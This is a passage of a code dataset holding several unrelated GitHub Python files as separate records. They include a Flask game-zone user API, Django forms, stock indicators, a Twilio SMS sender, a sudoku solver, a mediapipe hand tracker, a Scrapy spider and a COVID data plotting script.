str(int(newUserID)+1), \"password\" : args['password']}\n jsonObj[args['email']] = dict\n fernet = keyLoader()\n encMess = fernet.encrypt(json.dumps(jsonObj).encode())\n with open('users.bin', 'wb') as file:\n file.write(encMess)\n\n#################### USERS_GAMES TABLE #################################################################################\ngamzeZoneApiUsersGamesParser = reqparse.RequestParser()\ngamzeZoneApiUsersGamesParser.add_argument(\"user_id\", type=str, help=\"User identification number\", required=True)\ngamzeZoneApiUsersGamesParser.add_argument(\"game_id\", type=str, help=\"Game id from http://api.steampowered.com/ISteamApps/GetAppList/v0001\", required=True)\ngamzeZoneApiUsersGamesParser.add_argument(\"type\", type=str, help=\"Type of request (ADD)\", required=True)\nclass GameZoneApiGames(Resource):\n\n def get(self, id=\"all\"):\n with open('users_games.json', 'r') as file:\n data = file.read()\n jsonObj = json.loads(data)\n\n if id != \"all\":\n try:\n return jsonObj[id]\n except json.decoder.JSONDecodeError:\n return \"No data for this id\", 402\n else:\n try:\n return jsonObj\n except KeyError:\n return \"Data not found\", 401\n\n def post(self, id = \"all\"):\n args = gamzeZoneApiUsersGamesParser.parse_args()\n response = requests.get(BASE + \"users_games/\" + str(id))\n jsonObj = response.json()\n if (args['type'] == \"ADD\"):\n if int(args['game_id']) in jsonObj:\n return \"This game already is added\"\n else:\n jsonObj.append(int(args['game_id']))\n with open(\"users_games.json\", \"r\") as jsonFile:\n data = json.load(jsonFile)\n data[str(id)] = jsonObj\n\n with open(\"users_games.json\", \"w\") as jsonFile:\n json.dump(data, jsonFile)\n\n\n\n#USERS TABKE\napi.add_resource(GameZoneApiUsers, '/users', '/users/', endpoint='user')\n#USERS_GAMES TABLE\napi.add_resource(GameZoneApiGames, '/users_games', '/users_games/', endpoint='users')\n\n\ndef checkLogin(email, passowrd):\n try:\n response = requests.get(BASE + \"users/\" + email).json()\n if response['password'] == passowrd:\n return response['user_id']\n else:\n return 0\n except:\n return 0\n\ndef keyLoader():\n with open('key.bin', 'r') as keyFile:\n key = keyFile.read()\n fernet = Fernet(key)\n return fernet\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n# curl -H \"Content-Type: application/json\" -X POST -d \"{ \\\"name\\\":\\\"xyz\\\", \\\"address\\\":\\\"address_xyz\\\" }\" http://127.0.0.1:5000\n","repo_name":"TheVosges/GameZoneDatabase","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7214383905","text":"from django import forms\nfrom django.core.exceptions import ValidationError\n\nfrom .models import Submission, Vote\nfrom .utils import contains_profanity\n\nclass SubmissionForm(forms.ModelForm):\n class Meta:\n model = Submission\n fields = ['word', 'name']\n widgets = {\n 'word': forms.TextInput(attrs={'placeholder': 'Enter your submission'}),\n 'name': forms.TextInput(attrs={'placeholder': 'Enter your name'}),\n }\n\n def clean_word(self):\n word = self.cleaned_data['word']\n if contains_profanity(word):\n raise ValidationError(\"Let's keep it classy. Please suggest another word.\")\n else:\n return word\n\n def clean_name(self):\n name = self.cleaned_data['name']\n if contains_profanity(name, False):\n raise ValidationError(\"Let's keep it classy. Please provide another name.\")\n else:\n return name\n\nclass VoteForm(forms.ModelForm):\n class Meta:\n model = Vote\n fields = ['submission', ]\n","repo_name":"lkhedlund/unbanking","sub_path":"upvote/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"155735305","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 27 02:59:25 2018\n#stang84\n@author: steve\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\nimport os\nimport math\nfrom util import get_data, plot_data\nimport matplotlib.pyplot as plt\n#use JPM\n# use SPY to inform\n#The in sample/development period is January 1, 2008 to December 31 2009.\n#The out of sample/testing period is January 1, 2010 to December 31 2011.\n\n#Benchmark: The performance of a portfolio starting with $100,000 cash, investing in 1000 shares of JPM and holding that position.\n#There is no limit on leverage.\nsv = 100000\n#Allowable positions are: 1000 shares long, 1000 shares short, 0 shares\n#Transaction costs for ManualStrategy: Commission: $9.95, Impact: 0.005.\n#Transaction costs for BestPossibleStrategy: Commission: $0.00, Impact: 0.00\n # Process orders\n\n\n\ndef save_data(df, dir ='nameless' , title=\"Stock prices\", xlabel=\"Date\", ylabel=\"Price\"):\n \"\"\"Plot stock prices with a custom title and meaningful axis labels.\"\"\"\n ax = df.plot(title=title, fontsize=12)\n ax.set_xlabel(xlabel)\n ax.set_ylabel(ylabel)\n plt.savefig(dir)\n\ndef indicators(symbols = 'JPM', lookback = 14, n = 14, sd= '2008-1-1', ed = '2009-12-31', sv = 100000):\n price = get_data([symbols], pd.date_range(sd, ed), addSPY=False)\n price.fillna(method='ffill', inplace=True)\n price.fillna(method='bfill', inplace=True)\n price /= price.values[0]\n indicator = pd.DataFrame(price.copy())\n\n # zero out a matrix for sma\n daily_ret = price.copy()\n daily_ret.values[1:,:] = price.values[1:,:]- price.values[:-1,:]\n daily_ret.values[0,:] = np.nan\n sma = price.rolling(window = lookback, min_periods = lookback).mean()\n sma = pd.rolling_mean(price, window=lookback, min_periods = lookback)\n indicator['SMA'] = sma\n\n\n rolling_std = price.rolling(window = lookback, min_periods =lookback).std()\n top_band = sma + (2*rolling_std)\n bottom_band = sma - (2* rolling_std)\n bbp= (price - bottom_band) / (top_band - bottom_band)\n indicator['Bollinger Band Percent'] = bbp\n sma = price/sma\n indicator['Price/SMA Ratio'] = sma\n\n momentum = price.copy()\n momentum.ix[n:] = (price.values[n:] / price.values[:-n]) - 1\n momentum.ix[:n] = np.nan\n indicator['Momentum'] = momentum\n #momentum.ix[-lookback:, :] = np.nan\n return indicator\n\n\nif __name__ == \"__main__\":\n a = indicators()\n save_data( a.loc[:, ['JPM', 'SMA', 'Price/SMA Ratio']], dir ='figure1.png')\n save_data( a.loc[:, ['JPM', 'Bollinger Band Percent']], dir='figure2.png')\n save_data( a.loc[:, ['JPM', 'Momentum']], dir='figure3.png')\n sell = a.loc[:, \"Price/SMA Ratio\"]>1.1\n buy = a.loc[:, \"Price/SMA Ratio\"]<.9\n \n\n\n\n\n\n#sma = price.copy()\n#for day in range(price.shape[0]):\n# sma.ix[day,:] = 0\n## for sym in symbols:\n## sma.ix[day, sym] = 0\n#\n## calculate SMA\n##loop over all days\n#for day in range(price.shape[0]):\n# if day < lookback:\n# for sym in symbols:\n# sma.ix[day, sym] = np.nan\n# continue\n# sma.ix[day,:] = price.ix[day-lookback+1:day+1,:].sum(axis=0)/lookback\n# # loop over the lookback for this day and accumulate price\n## for sym in symbols:\n## sma.ix[day, sym] = price.ix[day-lookback+1:day+1, sym].sum()\n## # calculate SMA for this day and symbol\n## sma.ix[day, sym] = sma.ix[day,sym]/lookback\n\n##turn SMA into price/SMA ratio indacator\n#for day in range(lookback, price.shape[0]):\n# for sym in symbols:\n# sma.ix[day, sym] = price.ix[day, sym] / sma.ix[day, sym]\n\n## RSI\n#for day in range(lookback, price.shape[0]):\n# for sym in symbols:\n# up_gain = 0\n# down_loss = 0\n# # loop over the lookback from this day and calculate\n# for prev_day in range(day - lookback +1, day +1):\n# #delta = price.ix[prev_day, sym] - price.ix[prev_day-1 , sym]\n# delta = daily_ret.ix[prev_day,sym]\n# if delta >= 0:\n# up_gain = up_gain +delta\n# else:\n# down_loss = down_loss + (-1 * delta)\n# if down_loss ==0:\n# rsi.ix[day, sym] = 100\n# else:\n# rs = (up_gain/lookback) / (down_loss/lookback)\n# rsi.ix[day, sym] = 100 - (100 / (1+rs))\n#BBP\n#bbp = price.copy()\n#for day in range(price.shape[0]):\n# # loop over the lookbak from this day and calculate std\n# for sym in symbols:\n# bbp.ix[day,sym] = ((price.ix[day-lookback+1:day+1, sym]- sma.ix[day, sym])**2).sum()\n## for prev_day in range(day-lookback+1, day+1):\n## bbp.ix[day, sym] = bbp.ix[day, sym] + math.pow(price.ix[prev_day, sym] - sma.ix[day, sym], 2)\n# # finish calculating standard deviation for this da\n# bbp.ix[day, sym] = math.sqrt(bbp.ix[day, sym]/ (lookback-1))\n#\n# bottom_band = sma.ix[day, sym] - (2 * bbp.ix[day, sym])\n# top_band = sma.ix[day, sym] + ( 2 * bbp.ix[day,sym])\n#\n# bbp.ix[day, sym] = (price.ix[day, sym] - bottom_band)/(top_band- bottom_band)\n\n# orders = []\n# holdings = {sym:0 for sym in symbols}\n#for day in range(lookback+1, price.shape[0]):\n# for sym in symbols:\n# if sym == 'SPY':\n# continue\n# # Go long\n# if (sma.ix[day, sym] < .95) and (bbp.ix[day,sym]<0) and (rsi.ix[day, sym] < 30) and (rsi.ix[day, 'SPY'])> 30:\n# # stock may be oversold. index does not appear to be oversold\n# if holdings[sym] < 1000:\n#\n# holdings[sym] = holdings[sym] + 1000\n# print holdings[sym]\n# orders.append([price.index[day].date(), sym, 'BUY', 1000])\n# elif (sma.ix[day, sym] < 1.05) and (bbp.ix[day,sym]>1) and (rsi.ix[day, sym] > 70) and (rsi.ix[day, 'SPY'])< 70:\n# if holdings[sym] > -1000:\n# holdings[sym] = holdings[sym] - 1000\n# orders.append([price.index[day].date(), sym, 'SELL', 1000])\n# print 2\n# # Cross SMA and holding long, close long position\n# elif(sma.ix[day, sym] >= 1) and (sma.ix[day -1 , sym] < 1) and (holdings[sym] > 0):\n# holdings[sym] = 0\n# orders.append([price.index[day].date(), sym, 'SELL', 1000])\n# print 3\n# elif(sma.ix[day, sym] <= 1) and (sma.ix[day -1 , sym] > 1) and (holdings[sym] < 0):\n# holdings[sym] = 0\n# orders.append([price.index[day].date(), sym, 'BUY', 1000])\n# print 4\n#for order in orders:\n# print \" \".join(str(x) for x in order)\n # Plot raw SPY values, rolling mean and Bollinger Bands","repo_name":"HardikSangwan/Machine-Learning-Work","sub_path":"Manual strategy/indicators.py","file_name":"indicators.py","file_ext":"py","file_size_in_byte":6489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27714696366","text":"import os, sys, time\n\nimport psycopg2\nfrom psycopg2 import OperationalError, errorcodes, errors\n\nfrom flask import Blueprint, render_template, request, flash, redirect, url_for\nfrom flask_login import login_user, login_required, logout_user, current_user\n\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\nfrom twilio.rest import Client\nfrom twilio.base.exceptions import TwilioRestException\n\nfrom .models import User, Contact\nfrom . import db\n\n\nbp = Blueprint('message', __name__, url_prefix='/message')\n\n@bp.route('/create', methods=('GET', 'POST'))\n@login_required\ndef create():\n if request.method == 'POST':\n title = request.form['title']\n body = request.form['body']\n sendto = request.form['sendto']\n\n ACCOUNT_SID = os.environ.get('TWILIO_TEST_ACCOUNT_SID')\n AUTH_TOKEN = os.environ.get('TWILIO_TEST_AUTH_TOKEN') \n FROM_ = os.environ.get('TWILIO_TEST_FROM')\n\n client = Client(ACCOUNT_SID, AUTH_TOKEN)\n\n rows = list()\n if sendto == '1':\n for row in db.session.query(Contact.phone, Contact.name, Contact.notes):\n rows.append(row)\n\n elif sendto == '2':\n for row in db.session.query(Contact.phone, Contact.name, Contact.notes).filter(Contact.notes=='Tues-Thurs-Class'):\n rows.append(row)\n\n elif sendto == '3':\n for row in db.session.query(Contact.phone, Contact.name, Contact.notes).filter(Contact.notes=='Wed-Fri-Class'):\n rows.append(row)\n\n for phone, name, notes in rows:\n phone = f'+1{phone}'\n name = name\n try:\n message = client.messages.create(\n body=f'{title}: {body}',\n from_=FROM_,\n to=phone\n )\n flash(f'Message sent to {name}: {phone}', 'info')\n except TwilioRestException as e:\n error_status = e.status\n error_msg = e.msg\n flash(f'Could not send message. {error_msg}', 'danger')\n return redirect(url_for('message.create'))\n\n return render_template('message/create.html')","repo_name":"sjvarnum/demo-flask-twilio-webapp","sub_path":"demo_flask_twilio_webapp/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21505213415","text":"import time\r\nimport threading\r\n\r\nclass Server(threading.Thread):\r\n def run(self):\r\n import zmq\r\n context = zmq.Context()\r\n socket = context.socket(zmq.REP)\r\n socket.bind(\"tcp://*:10010\")\r\n \r\n while True:\r\n message = socket.recv()\r\n time.sleep (1)\r\n socket.send(\"World\")\r\n\t\r\ns = Server()\r\ns.start()\r\ns.join()\r\n","repo_name":"resty-daze/xp3dumper","sub_path":"ui/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"18"} +{"seq_id":"25798270594","text":"from pprint import pprint\n\nWIDTH = 9\nHEIGHT = 9\n\nBLOCK_WIDTH = int(WIDTH/3)\nBLOCK_HEIGHT = int(HEIGHT/3)\n\ndef get_blanck_board() -> list:\n return [0 for i in range(0, WIDTH*HEIGHT)]\n\nbase_set = [set([i for i in range(1, 10)]) for j in range(0, WIDTH*HEIGHT)]\n\nempty_set = set()\n\nclass Board:\n def __init__(self, board):\n self.board = board\n self.solver_board = self.get_solver_board()\n self.blanks = 0\n for v in board: \n if v == 0: \n self.blanks += 1\n self.lowest_blanks = WIDTH*HEIGHT\n \n def copy(self):\n return Board(self.board.copy())\n\n def __str__(self):\n lines = []\n for i in range(0, len(self.board)):\n lines.append(str(self.board[i]))\n if (i%3) == 2:\n lines.append(' ')\n if (i%27) == 26:\n lines.append('\\n')\n if (i%9) == 8:\n lines.append('\\n')\n return ' ' + ' '.join(lines)\n \n @staticmethod\n def str_solver(solver):\n lines = []\n for i in range(0, len(solver)):\n lines.append(str(solver[i]))\n if (i%3) == 2:\n lines.append(' ')\n if (i%27) == 26:\n lines.append('\\n')\n if (i%9) == 8:\n lines.append('\\n')\n return ' ' + ' '.join(lines)\n\n def get_solver_board(self) -> list:\n solver_board = [set([i for i in range(1, 10)]) if self.board[j] == 0 else empty_set for j in range(0, WIDTH*HEIGHT)]\n for i, v in enumerate(self.board):\n self.update_solver(solver_board, i, v)\n return solver_board\n \n @staticmethod\n def reset_solver(solver, i, v):\n solver[i] = set([i for i in range(1, 10)]) if v == 0 else empty_set\n\n @staticmethod\n def update_solver(solver_board, i, v):\n x = i%WIDTH\n y = int(i/HEIGHT)\n if not v == 0:\n solver_board[x + y*WIDTH].clear()\n for rx in range(0, WIDTH):\n solver_board[rx + y*WIDTH].discard(v)\n for ry in range(0, HEIGHT):\n solver_board[x + ry*WIDTH].discard(v)\n bx = int(x/(WIDTH/3)) * int(WIDTH/3)\n by = int(y/(HEIGHT/3)) * int(HEIGHT/3)\n for rx in range(bx, int(WIDTH/3) + bx):\n for ry in range(by, int(HEIGHT/3) + by):\n solver_board[rx + ry*WIDTH].discard(v)\n\n def is_solved(self):\n return self.blanks == 0\n\n def is_valid(self, i, a):\n x = i%WIDTH\n y = int(i/HEIGHT)\n if not self.board[i] == 0:\n raise KeyError('')\n for rx in range(0, WIDTH):\n ni = rx + y*WIDTH\n if not self.board[ni] == 0 and self.board[ni] == a:\n nx = ni%WIDTH\n ny = int(ni/HEIGHT)\n print(x, y, a, nx, ny, self.board[ni])\n print(self)\n print(self.str_solver(self.get_solver_board()))\n raise KeyError('')\n for ry in range(0, HEIGHT):\n ni = x + ry*WIDTH\n if not self.board[ni] == 0 and self.board[ni] == a:\n print(x, y, a)\n print(self)\n print(self.str_solver(self.get_solver_board()))\n raise KeyError('')\n bx = int(x/(WIDTH/3)) * int(WIDTH/3)\n by = int(y/(HEIGHT/3)) * int(HEIGHT/3)\n for rx in range(bx, int(WIDTH/3) + bx):\n for ry in range(by, int(HEIGHT/3) + by):\n ni = rx + ry*WIDTH\n if not self.board[ni] == 0 and self.board[ni] == a:\n print(x, y, a)\n print(self)\n print(self.str_solver(self.get_solver_board()))\n raise KeyError('')\n\n\n def solve(self) -> list:\n if self.is_solved():\n return []\n\n safe_changes = []\n for i, solver in enumerate(self.solver_board):\n posibilties = list(solver)\n if len(posibilties) == 1:\n safe_changes.append((i, self.board[i]))\n self.board[i] = posibilties[0]\n # print(' '*indent + '(' + str(i%WIDTH) + ', ' + str(int(i/HEIGHT)) + ') = ' + str(posibilties[0]))\n self.update_solver(self.solver_board, i, posibilties[0])\n self.blanks -= 1\n\n if self.is_solved():\n return []\n \n if len(safe_changes) > 0:\n return self.solve() + safe_changes\n else:\n sorted_board = sorted(enumerate(self.solver_board), key=lambda x: len(x[1]))\n for i, solver in sorted_board:\n if len(solver) > 1:\n for a in list(solver):\n old_value = self.board[i]\n self.board[i] = a\n self.update_solver(self.solver_board, i, a)\n # print(' '*indent + '(' + str(i%WIDTH) + ', ' + str(int(i/HEIGHT)) + ') = ' + str(a))\n self.blanks -= 1\n unsafe_changes = self.solve()\n unsafe_changes.append((i, old_value))\n if self.is_solved():\n return unsafe_changes\n else:\n if self.blanks <= self.lowest_blanks:\n self.lowest_blanks = self.blanks\n for j, v in unsafe_changes:\n self.board[j] = v\n self.blanks += 1\n self.solver_board = self.get_solver_board()\n return []","repo_name":"mart368b/SimpleSudokuSolver","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":5575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17892707512","text":"\"\"\"\nThis file is called from systemd service\n\"\"\"\nimport os\nimport time\nfrom datetime import timedelta\n\nfrom lib.get_backlight_config import json_to_config, read_json\nfrom main_function import HandleScreen, off_within_delta, on_outside_delta, main_on_off_wrapper\nfrom pir.main import RPIG\nfrom tools_lib.lib.time_delta.between_hours import get_date_now\n\n\ndef main(auto_on: bool, auto_off: bool, disable_from, enable_from, update_cycle, ignore_gpio):\n pin_5a = RPIG(pin=5)\n pin_6b = RPIG(pin=6)\n\n next_update = get_date_now() + timedelta(seconds=update_cycle)\n handle_screen = HandleScreen()\n while True:\n main_on_off_wrapper(\n disable_from=disable_from,\n enable_from=enable_from,\n auto_on=auto_on,\n auto_off=auto_off,\n handle_screen=handle_screen\n )\n\n print(\"Sleep\" + str(update_cycle))\n time.sleep(update_cycle)\n print(\"End final\")\n\n\ndef get_json(config_path, default_path):\n if os.path.isfile(config_path):\n return json_to_config(j_content=read_json(f_path=config_path))\n return json_to_config(j_content=read_json(f_path=default_path))\n\n\nif __name__ == '__main__':\n _config_path = \"../../config/backlight\"\n json_path = _config_path + \"/backlight_config.json\"\n json_path_default = _config_path + \"/backlight_config_default.json\"\n\n backlight_config = get_json(config_path=json_path, default_path=json_path_default)\n\n main(\n auto_on=backlight_config.auto_on,\n auto_off=backlight_config.auto_off,\n disable_from=backlight_config.disable_from,\n enable_from=backlight_config.enable_from,\n update_cycle=backlight_config.update_cycle,\n ignore_gpio=backlight_config.ignore_gpio\n )\n","repo_name":"rosenberg-c/public_rpi_styra_src","sub_path":"services/backlight/py/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70680458280","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nimport os\ndef load_stat():\n load_avg = {}\n f = open('/proc/loadavg')\n load_info = f.read().split()\n f.close()\n load_avg['lavg1'] = load_info[0]\n load_avg['lavg10'] = load_info[1]\n load_avg['lavg15'] = load_info[2]\n return load_avg\n\nif __name__ == '__main__':\n load_stat = load_stat()\n print('------------system loadavg---------')\n print('1min: {}\\n10min: {}\\n15min: {}'.format(\n load_stat['lavg1'],\n load_stat['lavg10'],\n load_stat['lavg15']\n ))\n\n\n","repo_name":"XieChengG/monitor","sub_path":"load_avg.py","file_name":"load_avg.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41389359860","text":"'''hand tracking uses two main modules at the backend : palm detection and hand landmarks\nPalm detection works on the complete image and from there it crops the image of the hand\nFrom there hand landmark module finds 21 different landmarks from the cropped image of the hand\n\nIn this project I will be using mediapipe package. MediaPipe offers open source cross-platform, \ncustomizable ML solutions for live and streaming media. e.g: face mesh, human pose detection,\nhand tracking, object detection & tracking, etc'''\n\nimport cv2\nimport mediapipe as mp\n\n\nmpHands = mp.solutions.hands #importing func named hands\nHands = mpHands.Hands() #saving the fun in a variable named Hands\n\nmpDraw = mp.solutions.drawing_utils #for drawing the lines and points on hand(s)\n\ncap = cv2.VideoCapture(0) #capture video from the camera/webcam\n\n\n\nwhile(cap.isOpened()):\n success, img = cap.read() #provides the frame\n \n converted_img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) #converting the BGR image to RGB since mediapipe works on RGB images\n results = Hands.process(converted_img) # Processing Image for Tracking\n \n #there can be posibilities that there will be no hands in the frame or can be one or more than one hands in the frame\n if results.multi_hand_landmarks:\n #for hand(s) present in the frame\n for hand_in_frame in results.multi_hand_landmarks:\n mpDraw.draw_landmarks(img,hand_in_frame,mpHands.HAND_CONNECTIONS) #tracking the dots on the hand(s)\n #to run the webcam\n cv2.imshow(\"Hand Tracking 30 FPS\",img)\n w = cv2.waitKey(1)\n if w==ord('q'): #If the user wants ro quit the game by pressing q\n break\n","repo_name":"tanmoyee04/OpenCV","sub_path":"30 FPS Hand Tracking/Hand_Tracking.py","file_name":"Hand_Tracking.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12581966861","text":"# @author: Gautam Patel\n# Problem Description URL: https://www.hackerrank.com/challenges/cycle-detection/problem\n\n\n# Complete the has_cycle function below.\n\n#\n# For your reference:\n#\n# SinglyLinkedListNode:\n# int data\n# SinglyLinkedListNode next\n#\n#\ndef has_cycle(head):\n l = []\n while head:\n if head in l:\n return 1\n l.append(head)\n head = head.next\n return 0\n\n","repo_name":"gautambp/HackerRank","sub_path":"Master/python3/cycle-detection.py","file_name":"cycle-detection.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22006615894","text":"import scrapy\nimport json\n\nclass QuotesSpider(scrapy.Spider):\n name = \"quotes\"\n\n start_urls = [\n 'http://quotes.toscrape.com/page/1/',\n 'http://quotes.toscrape.com/page/2/',\n ]\n\n def parse(self, response):\n page = response.url.split(\"/\")[-2]\n filename = f'quotes-page{page}.json'\n quote_list = []\n for quote in response.xpath('//div[@class=\"quote\"]'):\n quote_dict = {\n 'text': quote.xpath('.//span[@class=\"text\"]/text()').get(),\n 'author': quote.xpath('.//small[@class=\"author\"]/text()').get(),\n 'tags': quote.xpath('.//a[@class=\"tag\"]/text()').getall()\n }\n quote_list.append(quote_dict)\n with open(filename, 'w') as f:\n json.dump(quote_list , f)\n self.log(f'Saved file {filename}')","repo_name":"mattlim96/digi-tech-smm750","sub_path":"week02/quote_spider.py","file_name":"quote_spider.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"31513328752","text":"import csv\nimport os\nimport json\n\n\nclass MaintenanceDataGenerator:\n @staticmethod\n def get_data_from_csvfile(csv_filename, trim=None):\n data = []\n first_time = True\n with open(csv_filename, newline='') as csvfile:\n csv_reader = csv.reader(csvfile, delimiter=' ', quotechar='|')\n \n for row in csv_reader:\n if first_time:\n first_time = False\n else:\n temp_dict = {}\n content = row[0].split(\",\")\n temp_dict['Price'] = content[0]\n temp_dict['Miles'] = content[1]\n temp_dict['Trim'] = content[2]\n data.append(temp_dict)\n return data\n \n @staticmethod\n def write_on_csv_format(data, output_filename=\"maintenance_data/benz_cla250/report.csv\"):\n headers = ['mileage', 'average', 'max', 'min']\n with open(output_filename, \"w\", newline='') as fp:\n dict_writer = csv.DictWriter(fp, headers)\n dict_writer.writeheader()\n for mileage, content in data.items():\n tmp_dict = {\n 'mileage': mileage,\n 'average': content['average'],\n 'max': content['max'],\n 'min': content['min']\n }\n dict_writer.writerow(tmp_dict)\n\n @staticmethod\n def get_the_maintenance_data(jsondir, trim=None):\n result = {}\n json_files = [os.path.join(jsondir, f) for f in os.listdir(jsondir) if \".json\" in f]\n for each_json_file in json_files:\n with open(each_json_file, \"r\") as fp:\n content = json.load(fp)\n content = content['data']\n for each_data in content:\n if not each_data['due_mileage'] in result:\n result[each_data['due_mileage']] = [each_data['repair']['total_cost']]\n else:\n result[each_data['due_mileage']].append(each_data['repair']['total_cost'])\n return result\n\n @staticmethod\n def get_the_maintenance_data_in_percentage(jsondir, trim=None):\n result = []\n json_files = []\n \n @staticmethod\n def get_insight_each_due_mileage(m_data):\n new_data = {}\n for mileage, costs in m_data.items():\n new_data[mileage] = {}\n new_data[mileage]['average'] = round(sum(costs) / len(costs),2)\n new_data[mileage]['max'] = max(costs)\n new_data[mileage]['min'] = min(costs)\n return new_data\n\n @staticmethod\n def get_top_5_percentage(m_data):\n print(m_data)\n\n\nif __name__==\"__main__\":\n # d_data = MaintenanceDataGenerator.get_data_from_csvfile(\n # csv_filename=\"cla_data.csv\")\n m_data = MaintenanceDataGenerator.get_the_maintenance_data(\n jsondir=\"maintenance_data/bmw_m3\"\n )\n #insight_data = MaintenanceDataGenerator.get_insight_each_due_mileage(m_data)\n #MaintenanceDataGenerator.write_on_csv_format(insight_data, output_filename=\"maintenance_data/bmw_m3/report.csv\")\n\n MaintenanceDataGenerator.get_top_5_percentage(m_data)","repo_name":"wookjinjang95/carconomic","sub_path":"data_scraper/maintenance_data_generator.py","file_name":"maintenance_data_generator.py","file_ext":"py","file_size_in_byte":3188,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"1063989426","text":"import os\nimport sys\nimport math\nimport signal\nimport argparse\nimport datetime\nimport matplotlib.pyplot as plt\nimport requests\n\nCOLUMNS = {'cases': 4, 'deaths': 5}\nURL = 'https://opendata.ecdc.europa.eu/covid19/casedistribution/csv'\n\n\nclass GeoPlot:\n \"\"\"Visualize up-to-date case data published by the ECDC.\"\"\"\n\n def __init__(self):\n self.args = None\n self.ids = None\n\n def parse_args(self, args):\n \"\"\"Parse options.\"\"\"\n parser = argparse.ArgumentParser()\n\n def column_ty(value):\n try:\n COLUMNS[value]\n except KeyError as err:\n raise argparse.ArgumentTypeError(\n f'{err.__class__.__name__}: {err}')\n return value\n\n parser.add_argument('-c',\n '--column',\n metavar='',\n type=column_ty,\n default='cases',\n help=f'one of {list(COLUMNS.keys())}')\n parser.add_argument(\n '-C',\n '--country',\n metavar='>',\n type=str,\n default='*',\n help='comma separated list of country codes (e.g. \"DEU,USA\")')\n\n def base_ty(value):\n try:\n math.log(1, int(value))\n except (ValueError, ZeroDivisionError) as err:\n raise argparse.ArgumentTypeError(\n f'{err.__class__.__name__}: {err}')\n return int(value)\n\n parser.add_argument('-b',\n '--base',\n metavar='',\n type=base_ty,\n default=10,\n help='logarithm base')\n parser.add_argument('-S',\n '--suffix',\n metavar='',\n type=str,\n default='',\n help='use suffix in filename instead of date')\n parser.add_argument('-s',\n '--show',\n default=False,\n action='store_true',\n help='show plot instead of saving')\n\n def date_ty(value):\n try:\n return datetime.datetime.strptime(value, '%Y-%m-%d')\n except ValueError as err:\n raise argparse.ArgumentTypeError(\n f'{err.__class__.__name__}: {err}')\n\n parser.add_argument('-D',\n '--date',\n metavar='',\n type=date_ty,\n default=datetime.date.today().strftime('%Y-%m-%d'),\n help='date (yyyy-mm-dd)')\n parser.add_argument('-L',\n '--list',\n default=False,\n action='store_true',\n help='list available country codes and exit')\n parser.add_argument('-l',\n '--log',\n required='--base' in args or '-b' in args,\n default=False,\n action='store_true',\n help='logarithmic scale')\n parser.add_argument('-d',\n '--dark',\n default=False,\n action='store_true',\n help='dark background')\n parser.add_argument('-x',\n '--xkcd',\n default=False,\n action='store_true',\n help='xkcd style')\n self.args = parser.parse_args(args)\n\n @staticmethod\n def error(msg):\n \"\"\"Print message and exit.\"\"\"\n print(f'[ERROR] {msg}')\n sys.exit(1)\n\n def poll(self):\n \"\"\"Get raw data from ECDC server.\"\"\"\n try:\n print(f'[GET] {URL}')\n req = requests.get(URL)\n if req.status_code != 200:\n self.error(req.status_code)\n return [i.split(',') for i in req.content.decode().splitlines()][1:]\n except requests.exceptions.RequestException as err:\n self.error(f'{err.__class__.__name__}: {err}')\n\n @staticmethod\n def get_regions(content):\n \"\"\"Collect available country codes.\"\"\"\n regions = {\n i[8].strip(): i[6].replace('_', ' ').strip() for i in content\n }\n regions['*'] = 'World'\n return regions\n\n def log(self, number):\n \"\"\"Calculate logarithm.\"\"\"\n return math.log(max(number, 1), self.args.base)\n\n def get_data(self, content):\n \"\"\"Extract data from table.\"\"\"\n raw = dict()\n idx = COLUMNS[self.args.column]\n for row in content:\n try:\n if ('WORLD' in self.ids or\n row[8].strip() in self.ids) and int(row[idx]) > 0:\n key = int(\n datetime.datetime.strptime(row[0],\n '%d/%m/%Y').timestamp())\n if key in raw.keys():\n raw[key] += int(row[idx])\n else:\n raw[key] = int(row[idx])\n except ValueError as err:\n self.error(f'{err.__class__.__name__}: {err}')\n assert raw\n i = min(raw.keys())\n data = [(0, 1 if self.args.log else 0, 0,\n int((datetime.datetime.fromtimestamp(i) -\n datetime.timedelta(days=1)).timestamp()))]\n while i <= min(max(raw.keys()), int(self.args.date.timestamp())):\n assert not self.args.log or data[-1][1] > 0\n if i in raw.keys():\n val = data[-1][1] + raw[i]\n data.append((raw[i], val,\n (self.log(val) -\n self.log(data[-1][1]) if self.args.log else val -\n data[-1][1]), i))\n else:\n data.append((0, data[-1][1], 0, i))\n i = int((datetime.datetime.fromtimestamp(i) +\n 